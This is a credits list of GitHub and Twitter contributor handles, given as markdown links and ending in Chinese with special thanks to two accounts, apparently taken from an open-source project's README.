[devd](https://github.com/devd), [camerondunford](https://github.com/camerondunford), [buu700](https://github.com/buu700), [buildog](https://github.com/buildog), [alabiaga](https://github.com/alabiaga), [Vector919](https://github.com/Vector919), [Robbert](https://github.com/Robbert), [GreLI](https://github.com/GreLI), [FuzzySockets](https://github.com/FuzzySockets), [ArtemBernatskyy](https://github.com/ArtemBernatskyy), [@garethheyes](https://twitter.com/garethheyes), [@shafigullin](https://twitter.com/shafigullin), [@mmrupp](https://twitter.com/mmrupp), [@irsdl](https://twitter.com/irsdl),[ShikariSenpai](https://github.com/ShikariSenpai), [ansjdnakjdnajkd](https://github.com/ansjdnakjdnajkd), [@asutherland](https://twitter.com/asutherland), [@mathias](https://twitter.com/mathias), [@cgvwzq](https://twitter.com/cgvwzq), [@robbertatwork](https://twitter.com/robbertatwork), [@giutro](https://twitter.com/giutro), [@CmdEngineer\_](https://twitter.com/CmdEngineer_), [@avr4mit](https://twitter.com/avr4mit), [davecardwell](https://github.com/davecardwell), [Develop-KIM](https://github.com/Develop-KIM), [asamuzaK](https://github.com/asamuzaK), [fishjojo1 ❤️](https://github.com/fishjojo1), [Rikuxx0](https://github.com/Rikuxx0), [donmccurdy](https://github.com/donmccurdy), [hhk-png](https://github.com/hhk-png), [elrion018](https://github.com/elrion018), [michalnieruchalski-tiugo](https://github.com/michalnieruchalski-tiugo), [reey](https://github.com/reey), [KanhaKanhaiya](https://github.com/KanhaKanhaiya), [odaysec](https://github.com/odaysec), [Akokonunes](https://github.com/Akokonunes), [alirezarouhbakhsh](https://github.com/alirezarouhbakhsh), [Jaybhade](https://github.com/Jaybhade) 以及特别感谢 [@securitymb ❤️](https://twitter.com/securitymb) 和 [@masatokinugawa ❤️](https://twitter.com/masatokinugawa)